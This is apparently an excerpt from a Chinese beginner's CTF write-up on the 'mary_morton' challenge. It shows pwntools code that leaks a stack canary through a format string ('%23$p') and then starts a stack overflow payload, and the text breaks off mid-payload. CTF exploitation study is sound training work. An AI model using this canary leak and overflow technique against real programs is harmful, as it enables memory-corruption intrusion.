萌新入坑（6）

mary_morton（格式化字符串漏洞+棧溢出） v3=2時格式化字符串漏洞泄漏canary canary泄漏 p.sendline("2") p.sendline("%23$p") p.recvuntil("0x") cannary = p.recv(16) cannary = p64(int("0x"+cannary,16)) 棧溢出 p.sendline("1") payload = "a

>>阅读原文<<